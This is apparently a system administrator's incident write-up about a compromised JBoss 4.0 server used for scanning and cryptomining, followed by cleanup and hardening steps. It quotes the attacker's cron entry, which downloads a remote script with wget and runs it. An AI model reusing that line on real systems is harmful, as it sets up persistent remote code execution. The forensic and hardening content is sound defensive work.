Detecting a Hacker Attack
I work as a system administrator for a company monitoring around 20 servers running open source applications . One of the application we are using is Jboss . The Jboss version we are running is an old version (4.0) as per client requirement .We have upgraded jboss to the latest after this incident . Besides this we are using Nagios for application and Infrastructure monitoring.
The alarm of a server getting compromised raised on a Monday morning when we saw continuous Nagios high load alerts from the server running old version of Jboss . The alerts actually started coming from Saturday morning .
I immediately logged to the affected machine and the first few commands I run was w and top command .
Checking System Load and identifying top contributor
top command showed high load on the system with some perl commands running for 'jboss' user with CPU utilization around 100%
# toptop - 15:03:03 up 22 days, 2:37, 1 user, load average: 29.02, 28.40, 23.27Tasks: 310 total, 3 running, 307 sleeping, 0 stopped, 0 zombieCpu(s): 9.7%us, 3.6%sy, 0.0%ni, 86.6%id, 0.0%wa, 0.0%hi, 0.0%si, 0.0%stMem: 66006160k total, 10932412k used, 55073748k free, 672448k buffersSwap: 8193108k total, 0k used, 8193108k free, 7534248k cached PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND19058 jboss 25 0 90228 5720 1252 R 100.1 0.0 9:58.71 perl16965 jboss 25 0 90316 5844 1296 R 99.8 0.0 453:27.66 perl......
......
These perl process are unknown to me and no such process are suppose to run with jboss user. I started checking for memory and disk utilization and they looked normal. Went further on investigation and looked for network bandwidth usage on the host. We are using MRTG and Cacti for monitoring bandwidth usage and MRTG is showing bandwidth link utilisation of more than 100% for ethernet interface on this host. Interestingly , outgoing traffic is beyond 100% utilization and so I suspected that probably our machine is being used as a zombie machine to target other machines on Internet .
Identifying Open files by these process.
I proceeded further . Identified those files which are being used by these perl process . I used losof and strace to collect these information .
# lsof -p 16965COMMAND PID USER FD TYPE DEVICE SIZE NODE NAMEperl 16965 jboss cwd DIR 104,2 4096 1996897 /var/tmp
perl 16965 jboss cwd DIR 104,2 4096 1996897 /dev/shm
perl 16965 jboss rtd DIR 104,9 4096 2 /perl 16965 jboss txt REG 104,3 19208 1993621 /usr/bin/perlperl 16965 jboss mem REG 104,9 139416 262462 /lib64/ld-2.5.soperl 16965 jboss mem REG 104,9 1717800 262463 /lib64/libc-2.5.so......
......
perl 16965 jboss mem REG 104,9 23736 262169 /lib64/libnss_dns-2.5.soperl 16965 jboss 0r FIFO 0,6 2859288169 pipeperl 16965 jboss 1w FIFO 0,6 2859288170 pipeperl 16965 jboss 2w FIFO 0,6 2859288171 pipeperl 16965 jboss 3u IPv4 2859288181 TCP web.example.com:39580->146.X.X.X:https (ESTABLISHED)
# lsof /tmp/COMMAND PID USER FD TYPE DEVICE SIZE NODE NAMEpnscan 23415 jboss cwd DIR 104,7 4096 2 /tmp/pnscan 24503 jboss cwd DIR 104,7 4096 2 /tmp/
lsof on these process showed some unknown binaries running from /var/tmp, /tmp and /dev/shm directory.
#cd /var/tmp
# ls -latotal 108drwxrwxrwt 2 root root 4096 Dec 4 15:49 .drwxr-xr-x 29 root root 4096 May 6 2013 ..-rw-rw-r-- 1 jboss jboss 1244 Nov 30 12:13 1-rwxrwxr-x 1 jboss jboss 34775 Nov 20 12:24 9x9-rw-rw-r-- 1 jboss jboss 38536 Nov 24 04:24 9x9.c-rwxrwxr-x 1 jboss jboss 11078 Nov 20 12:02 syn
# strace -p 23415Process 23415 attached - interrupt to quit[ Process PID=23415 runs in 32 bit mode. ]poll([{fd=246, events=POLLOUT}], 1, 1000) = 0 (Timeout)close(246) = 0socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 246fcntl64(246, F_GETFL) = 0x2 (flags O_RDWR)fcntl64(246, F_SETFL, O_RDWR|O_NONBLOCK) = 0connect(246, {sa_family=AF_INET, sin_port=htons(8080), sin_addr=inet_addr("X.X.X.43")}, 16) = -1 EINPROGRESS (Operation now in progress)poll([{fd=246, events=POLLOUT}], 1, 1000) = 0 (Timeout)close(246) = 0socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 246fcntl64(246, F_GETFL) = 0x2 (flags O_RDWR)fcntl64(246, F_SETFL, O_RDWR|O_NONBLOCK) = 0connect(246, {sa_family=AF_INET, sin_port=htons(8080), sin_addr=inet_addr("X.X.X.51")}, 16) = -1 EINPROGRESS (Operation now in progress)poll([{fd=246, events=POLLOUT}], 1, 1000) = 0 (Timeout)close(246) = 0socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 246fcntl64(246, F_GETFL) = 0x2 (flags O_RDWR)fcntl64(246, F_SETFL, O_RDWR|O_NONBLOCK) = 0connect(246, {sa_family=AF_INET, sin_port=htons(8080), sin_addr=inet_addr("X.X.X.204")}, 16) = -1 EINPROGRESS (Operation now in progress)
from one of strace command output , lots of connect sessions can be seen to different IP Address on Internet .
Also , can see a cron job set for jboss user.
# sudo -u jboss crontab -l@weekly wget -q http://X.X.X.26/scen -O /tmp/sh;sh /tmp/sh;rm -rd /tmp/sh
Preventive Measures:
1. Kill processes
# pkill -9 pnscan
# kill -9 16965 19058
2. Deleted unknown binaries
[root@web tmp]# rm -i *rm: remove regular file `1'? yrm: remove regular file `9x9'? yrm: remove regular file `9x9.c'? yrm: remove regular file `syn'? y
# rm -i /dev/shm/minerd*rm: remove regular file `/dev/shm/minerd'? yrm: remove regular file `/dev/shm/minerd.log'? yrm: remove regular file `/dev/shm/minerd.tar.gz'? y
3. Deleted cron for 'jboss' user
# sudo -u jboss crontab -r
Hardening Steps:
1. Remove executable permission from /var , /var/tmp and /var/tmp
directory.
# lsof /tmp/ # umount /tmp/ umount: /tmp: device is busy umount: /tmp: device is busy # umount -l /tmp/
# Update /tmp entry in /etc/fstab with exec,nodev,nosuid options LABEL=/tmp /tmp ext3 defaults,noexec 1 2
To make the changes manually without reboot of host , mount /tmp with remount option .
# mount -o defaults,noexec,nodev,nosuid LABEL=/tmp /tmp/
2. Perform similar hardening for /var/tmp and /dev/shm directory.
3. Replace login shell for jboss user
#usermod -s /bin/false jboss
4 . Disabled home directory for jboss user
#usermod -d /home/jboss jboss
5. Disabled cron for jboss user
5.1 Add jboss entry in /etc/cron.deny
5.2 touch /var/spool/cron/jboss.disabled
These steps provided a sigh of relief for our team . We are actually able to prevent our server from being further compromised .
Best advice for a system getting compromised is to remove the machine from network and reinstall from scratch after completing all forensic analysis.
We followed that and after proper testing of applications on Jboss 6 , we migrated to the latest version.
